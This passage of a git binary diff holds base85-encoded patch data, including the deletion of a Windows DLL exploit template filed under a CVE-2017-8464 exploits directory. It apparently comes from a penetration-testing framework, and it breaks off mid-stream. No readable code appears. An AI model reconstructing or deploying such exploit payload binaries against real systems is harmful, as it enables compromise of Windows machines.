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
E0b(9xTmS$7

diff --git a/data/exploits/cve-2017-8464/template_x86_windows.dll b/data/exploits/cve-2017-8464/template_x86_windows.dll
deleted file mode 100644
index 81519d1080cf3322308fef406984d3f3e178b34e..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 17408
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
